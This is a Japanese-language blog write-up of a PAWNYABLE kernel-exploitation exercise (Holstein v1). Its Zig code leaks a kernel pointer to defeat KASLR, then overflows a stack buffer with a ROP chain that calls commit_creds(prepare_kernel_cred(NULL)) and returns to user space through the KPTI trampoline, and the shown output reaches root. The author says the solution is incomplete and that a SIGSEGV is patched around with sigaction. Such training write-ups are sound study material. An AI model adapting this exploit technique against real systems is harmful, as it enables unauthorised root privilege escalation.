feyor.sh

PAWNYABLE

Table of Contents

ptr-yudaiのPAWNYABLEを解いてました。以下の解法は複雑と詳しくないかもしれないから、参考以外を利用するには難しいだろう。 PAWNYABLEは実にいい資料から、pwnを学びたいなら、このページを閉じて、あちに練習してください。

日本語は下手ですが(読者はもう気づいたでしょう)、でも書く練習したいと思っています。それと、Zigをpwnに使用ことは非常に便利ですが(ま、Cよりも)、ですが資料が存在しないらしい。

この解法は不完全なので、後で見って下さい。

Holstein

v1: Stack Overflow

さて、どの緩和策は有効をチェックしましょう。

pwn checksec vuln.ko 2>&1
[*] './src/vuln.ko'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x0)
    Stripped:   No
cat /proc/cpuinfo | grep -q -e 'smep.*smap' && echo 'SMEP/SMAP enabled'
cat /sys/devices/system/cpu/vulnerabilities/meltdown | grep -q -e 'PTI' && echo 'KPTI enabled'
cat /proc/cmdline | grep -q -e 'nokaslr' || echo 'KASLR enabled'
SMEP/SMAP enabled
KPTI enabled
KASLR enabled

FGKASLRもチェックしましょう:

cat /proc/kallsyms | grep -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'
ffffffff99200000 T startup_64
ffffffff99200040 T secondary_startup_64
ffffffff99200045 T secondary_startup_64_no_verify
ffffffff99200230 T __startup_64
ffffffff992005e0 T startup_64_setup_env
ffffffff9926e240 T prepare_kernel_cred
ffffffff9926e390 T commit_creds
ffffffff99a00e10 T swapgs_restore_regs_and_return_to_usermode
# reboot and run again
cat /proc/kallsyms | grep -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'
ffffffffb7600000 T startup_64
ffffffffb7600040 T secondary_startup_64
ffffffffb7600045 T secondary_startup_64_no_verify
ffffffffb7600230 T __startup_64
ffffffffb76005e0 T startup_64_setup_env
ffffffffb766e240 T prepare_kernel_cred
ffffffffb766e390 T commit_creds
ffffffffb7e00e10 T swapgs_restore_regs_and_return_to_usermode

まず、KASLRを回避するてめに、アドレスリークが必要です。

const std = @import("std");

pub fn main() !void {
    const fd = try std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
    defer std.posix.close(fd);

    var buf: [0x400 + 32]u8 = undefined;
    const bytes_read = try std.posix.read(fd, &buf);
    std.debug.dumpHex(buf[0..bytes_read]);
}
ffffffffa0a00000 T startup_64
ffffffffa0a00000 T _stext
ffffffffa0a00000 T _text
ffffffffa0a00040 T secondary_startup_64
ffffffffa0a00045 T secondary_startup_64_no_verify
ffffffffa0a00110 t verify_cpu
ffffffffa0a00210 T sev_verify_cbit
ffffffffa0a00220 T start_cpu0
ffffffffa0a00230 T __startup_64
ffffffffa0a005e0 T startup_64_setup_env
00007ffdcedd8528  06 00 00 00 04 00 00 00  40 00 00 00 00 00 00 00  ........@.......
00007ffdcedd8538  40 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00  @.......@.......
00007ffdcedd8548  68 02 00 00 00 00 00 00  68 02 00 00 00 00 00 00  h.......h.......
00007ffdcedd8558  08 00 00 00 00 00 00 00  03 00 00 00 04 00 00 00  ................
00007ffdcedd8568  A8 02 00 00 00 00 00 00  A8 02 00 00 00 00 00 00  ................
00007ffdcedd8578  A8 02 00 00 00 00 00 00  16 00 00 00 00 00 00 00  ................
00007ffdcedd8588  16 00 00 00 00 00 00 00  01 00 00 00 00 00 00 00  ................
00007ffdcedd8598  01 00 00 00 04 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd85a8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd85b8  50 AA 00 00 00 00 00 00  50 AA 00 00 00 00 00 00  P.......P.......
00007ffdcedd85c8  00 10 00 00 00 00 00 00  01 00 00 00 05 00 00 00  ................
00007ffdcedd85d8  00 B0 00 00 00 00 00 00  00 B0 00 00 00 00 00 00  ................
00007ffdcedd85e8  00 B0 00 00 00 00 00 00  A4 FF 07 00 00 00 00 00  ................
00007ffdcedd85f8  A4 FF 07 00 00 00 00 00  00 10 00 00 00 00 00 00  ................
00007ffdcedd8608  01 00 00 00 04 00 00 00  00 B0 08 00 00 00 00 00  ................
00007ffdcedd8618  00 B0 08 00 00 00 00 00  00 B0 08 00 00 00 00 00  ................
00007ffdcedd8628  DC 68 02 00 00 00 00 00  DC 68 02 00 00 00 00 00  .h.......h......
00007ffdcedd8638  00 10 00 00 00 00 00 00  01 00 00 00 06 00 00 00  ................
00007ffdcedd8648  20 22 0B 00 00 00 00 00  20 32 0B 00 00 00 00 00   "...... 2......
00007ffdcedd8658  20 32 0B 00 00 00 00 00  03 2E 00 00 00 00 00 00   2..............
00007ffdcedd8668  70 35 00 00 00 00 00 00  00 10 00 00 00 00 00 00  p5..............
00007ffdcedd8678  02 00 00 00 06 00 00 00  90 43 0B 00 00 00 00 00  .........C......
00007ffdcedd8688  90 53 0B 00 00 00 00 00  90 53 0B 00 00 00 00 00  .S.......S......
00007ffdcedd8698  90 01 00 00 00 00 00 00  90 01 00 00 00 00 00 00  ................
00007ffdcedd86a8  08 00 00 00 00 00 00 00  04 00 00 00 04 00 00 00  ................
00007ffdcedd86b8  C0 02 00 00 00 00 00 00  C0 02 00 00 00 00 00 00  ................
00007ffdcedd86c8  C0 02 00 00 00 00 00 00  30 00 00 00 00 00 00 00  ........0.......
00007ffdcedd86d8  30 00 00 00 00 00 00 00  08 00 00 00 00 00 00 00  0...............
00007ffdcedd86e8  53 E5 74 64 04 00 00 00  C0 02 00 00 00 00 00 00  S.td............
00007ffdcedd86f8  C0 02 00 00 00 00 00 00  C0 02 00 00 00 00 00 00  ................
00007ffdcedd8708  30 00 00 00 00 00 00 00  30 00 00 00 00 00 00 00  0.......0.......
00007ffdcedd8718  08 00 00 00 00 00 00 00  51 E5 74 64 06 00 00 00  ........Q.td....
00007ffdcedd8728  00 2C 3B 03 8C 9B FF FF  00 00 00 00 00 00 00 00  .,;.............
00007ffdcedd8738  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8748  00 00 00 00 00 00 00 00  10 00 00 00 00 00 00 00  ................
00007ffdcedd8758  52 E5 74 64 04 00 00 00  20 22 0B 00 00 00 00 00  R.td.... "......
00007ffdcedd8768  20 32 0B 00 00 00 00 00  20 32 0B 00 00 00 00 00   2...... 2......
00007ffdcedd8778  E0 2D 00 00 00 00 00 00  E0 2D 00 00 00 00 00 00  .-.......-......
00007ffdcedd8788  01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8798  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd87a8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd87b8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd87c8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd87d8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd87e8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd87f8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8808  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8818  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8828  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8838  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8848  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8858  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8868  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8878  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8888  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8898  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd88a8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd88b8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd88c8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd88d8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd88e8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd88f8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8908  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8918  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8928  E8 7E 54 80 04 B2 FF FF  3C D3 B3 A0 FF FF FF FF  .~T.....<.......
00007ffdcedd8938  87 CD B4 A0 01 00 00 00  00 8A 6B 02 8C 9B FF FF  ..........k.....

buf[0x408..][0..8]​はカーネルのポインタが似てそうです。何回を動かすでも、このアドレスはカーネルのベースアドレスからのオフセットは固定です(差は​0x13d33c​)。

狙いはroot権限昇格なので、ropchainで​commit_creds(prepare_kernel_cred(NULL))​を呼びましょう。

ropr --nosys --nojop -R '^(pop rdi;|pop rax;|mov \[rdi+.{3,5}\], ...;) ret;' vmlinux
0xffffffff81049576: add rdi, rsi; add r8, rdi; mov rax, r8; ret;
0xffffffff810a714a: mov rsi, rax; sub rsi, rcx; cmp rdx, rax; cmovs r8, rsi; mov rax, r8; ret;
0xffffffff81c9480d: pop rcx; ret;
0xffffffff81cc6e66: pop rdi; ret;
0xffffffff81f1f0e9: pop rdi; ret;
0xffffffff81f496b1: add rdi, rsi; mov [rdi], rdx; mov [rdi+8], rcx; mov [rdi+0x10], r8d; ret;

var POP_RDI: u64 = 0xffffffff811f61fd;
var POP_RCX: u64 = 0xffffffff8146ee3c;
var ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8: u64 = 0xffffffff81049576;
var MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8: u64 = 0xffffffff810a714a;

var KPTI_TRAMPOLINE: u64 = 0xffffffff81800e10+22;
var PREPARE_KERNEL_CRED: u64 = 0xffffffff8106e240;
var COMMIT_CREDS: u64 = 0xffffffff8106e390;

fn ropchain(fd: std.posix.fd_t) !void {
    const file = (std.fs.File{ .handle = fd }).writer();
    var bw = std.io.bufferedWriter(file);
    const writer = bw.writer();

    try writer.writeByteNTimes('A', 0x400+8);
    try writer.writeAll(std.mem.asBytes(&[_]u64{
        POP_RDI,
        0,
        PREPARE_KERNEL_CRED,
        POP_RDI,
        0,
        POP_RCX,
        0, // make sub rsi, rcx a nop
        MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8,
        ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8,
        COMMIT_CREDS,

        KPTI_TRAMPOLINE,
        0, // junk
        0, // junk
        @intFromPtr(&ret2win),
        user_cs,
        user_rflags,
        user_rsp,
        user_ss,
    }));

    try bw.flush();
    unreachable;
}

fn adjust_offsets(kaslr_offset: u64) void {
    const gadgets = &[_]*u64{
        &POP_RDI,
        &POP_RCX,
        &ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8,
        &MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8,

        &KPTI_TRAMPOLINE,
        &PREPARE_KERNEL_CRED,
        &COMMIT_CREDS,
    };
    for (gadgets) |g| {
        g.* += kaslr_offset;
    }
}
whoami: unknown uid 1337
[INFO] Kernel base: 0xffffffff81000000
[INFO] You won!!
root

集まったexploit

何故かよく分からないが、​ret2win​をジャンプした後に​SIGSEGV​を受け取ってしまった。 swapgs_restore_regs_and_return_to_usermode​はこの状態を避けるはずだったが、易きに付くことをしましたとsigactionでまた​ret2win​呼んでいました。